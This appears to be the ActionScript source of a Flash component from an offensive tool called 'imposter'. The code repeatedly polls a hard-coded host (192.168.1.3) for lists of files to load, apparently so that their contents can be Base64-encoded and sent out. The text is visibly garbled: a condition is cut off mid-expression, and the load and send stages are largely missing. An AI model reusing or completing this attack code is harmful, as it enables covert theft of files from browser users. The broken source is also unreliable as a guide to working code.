package com.lavakumar.imposter{ import com.dynamicflash.util.Base64; import flash.display.MovieClip; import flash.display.Stage; import flash.text.TextField; import flash.events.Event; import flash.events.DataEvent; import flash.events.IOErrorEvent; import flash.events.ProgressEvent; import flash.events.SecurityErrorEvent; import flash.events.HTTPStatusEvent; import flash.utils.ByteArray; import flash.net.URLLoader; import flash.net.URLRequest; import flash.net.URLLoaderDataFormat; public class Main extends MovieClip { var filecontent:String=""; var read:int=0; var inputcount:int=0; var filecounter:int=0; var files:Array; var statuscode:int=1; public function Main() { addEventListener(Event.ENTER_FRAME, check, false, 0, true); } public function check(e:Event):void { if (statuscode==1) { get(); } else if (statuscode==2) { load(); } else if (statuscode==3) { send(); } } public function get():void { var getter:URLLoader = new URLLoader(); getter.dataFormat=URLLoaderDataFormat.BINARY; getter.addEventListener(Event.COMPLETE, get_FileLoaded); getter.addEventListener(IOErrorEvent.IO_ERROR, get_FileIoError); getter.addEventListener(Event.OPEN, get_FileOpened); getter.addEventListener(ProgressEvent.PROGRESS, get_FileProgress); getter.addEventListener(SecurityErrorEvent.SECURITY_ERROR, get_FileSecurityError); getter.addEventListener(HTTPStatusEvent.HTTP_STATUS, get_FileStatus); getter.addEventListener(DataEvent.DATA, get_DataEventHandler); var inputfile:URLRequest=new URLRequest("//192.168.1.3/imp/imposter"+inputcount.toString()+".input"); statuscode=0; getter.load(inputfile); } public function load():void { var loader:URLLoader = new URLLoader(); loader.dataFormat=URLLoaderDataFormat.BINARY; loader.addEventListener(Event.COMPLETE, load_FileLoaded); loader.addEventListener(IOErrorEvent.IO_ERROR, load_FileIoError); loader.addEventListener(Event.OPEN, load_FileOpened); loader.addEventListener(ProgressEvent.PROGRESS, load_FileProgress); loader.addEventListener(SecurityErrorEvent.SECURITY_ERROR, load_FileSecurityError); loader.addEventListener(HTTPStatusEvent.HTTP_STATUS, load_FileStatus); loader.addEventListener(DataEvent.DATA, load_DataEventHandler); if (filecounter0) { files=data.split(','); if (files.length>0) { statuscode=2; inputcount++; } else { statuscode=1; } } else { statuscode=1; } } function get_FileOpened(event:Event):void { } function get_DataEventHandler(event:Event):void { } function get_FileProgress(event:flash.events.ProgressEvent):void { } function get_FileSecurityError(event:Event):void { statuscode=1; } function get_FileIoError(event:Event):void { statuscode=1; } function get_FileStatus(event:HTTPStatusEvent):void { } function get_FileNotFound(event:IOErrorEvent):void { statuscode=1; } function send_FileLoaded(event:Event):void { } function send_FileOpened(event:Event):void { } function send_DataEventHandler(event:Event):void { } function send_FileProgress(event:flash.events.ProgressEvent):void { } function send_FileSecurityError(event:Event):void { } function send_FileIoError(event:Event):void { } function send_FileStatus(event:HTTPStatusEvent):void { } function send_FileNotFound(event:IOErrorEvent):void { } } }